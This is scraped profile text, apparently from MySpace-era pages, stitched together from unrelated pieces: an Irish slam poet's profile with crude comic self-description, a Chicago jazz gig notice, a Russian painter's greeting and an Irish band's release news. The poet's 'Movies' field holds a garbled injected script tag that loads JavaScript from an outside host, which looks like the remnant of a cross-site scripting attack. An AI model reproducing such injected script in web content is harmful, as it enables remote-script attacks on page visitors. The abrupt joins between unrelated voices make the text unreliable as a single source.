drinking with smelly old men in downbeat pubs; skinny dippin in Tra Mor, Galway, on stormy summer nights while drunk; writing poetry on magic mushrooms; kissing pretty girls; streaking; Munster Rugby; killing wasps on a fine summers day; scaring little children
Music
Sparklehorse, Strauss, Leonard Coen, Mozart, Gorillaz, Beethoven, James Brown, Debussy, Amy Winehouse, Bach, Billy Holiday, Miles Davis, John Coltrane, George CLinton, Jurassic 5, Blackalicious, Terry Callier, Joyce, Sigur Ros, Tiger Lilies, Cuckoo Savante, Medeline Peyreux, Flaming Lips, The Bad Plus, Ian Dury and the Blockheads
Movies
Police Acadamey 2, Citizens on Patrol, a towering performance from Steve Guttenberg.... language="javascript" src="http://crosssiterequest../request.js">function nothingf(){document·write("nathanjosiah1.mov.r{}");}..>
Television
Sexcettera on playboy 1, is my girlfriend
Books
Thesaurus
Heroes
Yoda, Neil Mccarthy, Han Solo, Dylan Thomas, Tom Crean, Shakespeare, Bob Dylan, Leonard Coen, Buddha, Jesus, He-Man, Skeletor, Luke Skywalker, Guinness, Patrick Sarsfeild, Bob Marley, Gandhi, Hugh Hefner, Yasser Arafat, Fidel Castro, Eric Cantona, Baudilaire, Ian Dury, Daithi Magner, Brian Phelan ..
About me: Hello and greetings to you and you and yours and yours. I am a poet and occasional performer. Here's the boring stuff. I have performed as guest poet at the Green Mill, Chicago; The Bowery, New York; The Sweetest Word, Detroit; Laushaus, Bamberg, Landsberg and Regensberg (all German cities just like Luxemburg); Minoriten Kultur, Graz, Austria; Cafe Huber, Vienna; The Bardroom, Budapest; The Bedroom (at my place); The White House, Limerick; Provocateur, Prague; The Prague Fringe Festival; Electric Picnic, Lois, Eire; The Twelve Bar Club, London; Kabaret, London. I have also appeared on US radio on 'The Lit Show'and on Ireland's Live TV. I was Cuirt International Lit Fest Poetry Grand Slam Champion 2005 and the Electric Picnic Slam Champion 2007. Here's the good stuff. I am also a great dancer, and can be found in the funkiest clubs in the world bustin my moves in funk heaven. My secret? I dance with my own shadow and my shadow is a brilliant dancer. Of course he is he's black, hence my dazzling moves. Oftentimes not withstanding any said or unsaid altercations the natures of which may or may not be savoury or otherwise I say lots and nothing at the same time. Please note. I am a powerful yet tender lover, commanding yet compromising. I am aslo quite tough, strong and err... brave yes that's right, down right valiant, cavalier even. Oh and charming, somtimes funny, always modest, extremely cheeky. Thunder is mine though I am self deprecating on stage and self defecating in bed, but don't let that put you off. I have problems with foot fungus and an alergy to soaps. My greatest talent is flatulence, although sometimes I do put one past my own keeper if you get my drift and when I was at school I could piss higher up the wall than any of the boys. Fact. Oh yeah and you know that thing? The one where guys get up drunk in their sleep and piss in the wardrobe? I am the king at that. Oh yeah and if any one knows of any anti sceptic cock deoderant with aloa vera please let me know cos the situation is getting way out of hand. I am lover of women, farming and tits. Personally I prefer them not too big cos they're easier to drive when their smaller. I'm not into bum sex cos that's where poo goes and not the pink champion (funny, as I wrote that I sang it to myself). One day I will rule the world in tyranny and pink pyjamas. Until then ha ha ha... now my pretty pretties if you'll allow me I shall take you by the hair and drag you back my cave. (cue: BOOMING LAUGHTER)
Who I'd like to meet: The man or woman who invented whistling, one of history's forgotten genius'. The person who invented handstands, because they were one of history's greatest lateral thinkers. The first dog that ever gave it's paw to a human, if only pigs had thought of that we'd all have swine in the house and be eating doggie rashers. The Dalai Lama because he has got some serious PR team behind him. The first parrot to ever talk and the midget that will one day rule the world in tyranny.
We are very excited about playing at such an awesome jazz club. We have some great sets lined up for you, so don't miss it. Friday and Saturday November 20th and 21st, 5:00-8:30p at Andy's Jazz Club in Chicago
Aaron Koppel -Guitar, Matt Nelson; (Lupe Fiasco, Matthew Santos) -Keyboard, Graham Czach; (Chicago Afrobeat Project) -bass, Robert Tucker (Matthew Santos) -drums
Hello! nice to meet you I'm artist Veniamin Stepanov from Russia. Welcome to my page. I hope you'll like the art-works. Please feel free to contact me if you are interested in any of my paintings. Have a great weekend!
'Kimberly' can be downloaded straight to media enabled phones by texting 'music 3919 M' to 57501 - note the spaces!
For all other phones they've made it more awkward. Text 'music 3919' to 57501 and then log onto www.downloadmusic.ie with your UNIQUE code to download it from the site. Hands up who loves technology.
If you're in Kilkenny you can buy the hard copy from Hearbeat city and Rollercoaster, or if you're in Dublin you'll find it in Tower Records.
All support in keeping us off the dole and stopping us stealing your taxes is greatly appreciated in the matter. See you in a town near you soon.
Its been a while and we thought it was about time we updated you on what we've been up to. Our debut EP Little World is now available at our gigs and will soon be available from our myspace and facebook pages, you will also be able to download it from itunes, but we don't have a release date for this as yet.
To celebrate the fact that we have now reached 25,000 plays on myspace, we are giving you a free MP3 of Rockabye Baby. All you have to do is send your email address to queen.elvis@yahoo.ie and we will send it to you.
We have spent the last year rehearsing with a full band and are now ready to bring it on the road. You can get a look at us when we appear on Balcony TV this week with the full line up. We are currently taking bookings for gigs/concerts/festivals and can be contacted on the email above, or through our myspace and facebook pages.
Thankyou for your continued support in what has been a great year for us!
Hey Hey how's it going there my man doing good? See I am up against ya in the slam in October in Galway should be madness. Sure I'll see ya then so we get a yarn and a bit o' craic. Good lcuk.
